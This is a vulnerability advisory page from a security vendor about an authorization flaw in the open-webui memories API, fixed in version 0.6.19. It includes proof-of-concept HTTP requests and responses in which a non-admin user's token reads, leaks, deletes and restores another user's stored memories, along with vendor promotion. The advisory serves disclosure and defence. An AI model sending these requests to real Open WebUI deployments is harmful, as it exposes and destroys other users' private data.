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Not in CISA KEV
HIGH severity

GHSA-hmjq-crxp-7rjw

HIGH

GHSA-hmjq-crxp-7rjw is a high-severity (CVSS 8.3) vulnerability in open-webui. O3 Security confirms whether GHSA-hmjq-crxp-7rjw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Open WebUI has inconsistent authorization controls within memories API

Also known asCVE-2026-44570PYSEC-2026-2733
Published
May 11, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 13, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories.

Details

Using a newly created non-admin user with no existing memories, it is possible to view existing memories via POST /api/v1/memories/query. See below under the PoC section, where a call to GET /api/v1/memories/ returns [] (as expected) but a call to POST /api/v1/memories/query reveals memories created by other users.

Similarly, even if a non-admin user cannot modify another user's memory data via POST /api/v1/memories/{memory_id}/update, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known.

The DELETE /api/v1/memories/{memory_id} can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the POST /api/v1/memories/{memory_id}/update endpoint again.

PoC 1

Example of a user with no memories able to query an existing memory from another user

GET /api/v1/memories/ HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 0

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:19:58 GMT
server: uvicorn
content-length: 2
content-type: application/json
x-process-time: 0

[]
POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:22:01 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0
access-control-allow-origin: *
access-control-allow-credentials: true

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]}

PoC 2

Example showing excess output about a memory a user has no access to modify

POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 18:53:37 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616}

PoC 3

Example showing a memory being deleted then restored by a different user than its owner

DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Connection: keep-alive

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:31:19 GMT
server: uvicorn
content-length: 4
content-type: application/json
x-process-time: 0

true
POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:32:31 GMT
server: uvicorn
content-length: 63
content-type: application/json
x-process-time: 0

{"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]}
POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1
Host: localhost:8080
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
Accept: application/json
Content-Type: application/json
Connection: keep-alive
Content-Length: 23

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:33:05 GMT
server: uvicorn
content-length: 172
content-type: application/json
x-process-time: 0

{"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616}
POST /api/v1/memories/query HTTP/1.1
Host: localhost:8080
Content-Length: 19
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE
User-Agent: Test
accept: application/json
Content-Type: application/json
Connection: keep-alive

{
  "content": ""
}

---

HTTP/1.1 200 OK
date: Fri, 18 Jul 2025 19:33:34 GMT
server: uvicorn
content-length: 187
content-type: application/json
x-process-time: 0

{"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]}

Impact

Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.6.19

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update open-webui to 0.6.19 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hmjq-crxp-7rjw is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-hmjq-crxp-7rjw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-hmjq-crxp-7rjw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. ### Details Using a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users. Similarly, even if a non-admin user cannot modify another user'
O3 Security · Impact-Aware SCA

Is GHSA-hmjq-crxp-7rjw in your dependencies?

O3 detects GHSA-hmjq-crxp-7rjw across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-hmjq-crxp-7rjw: open-webui… | O3 Security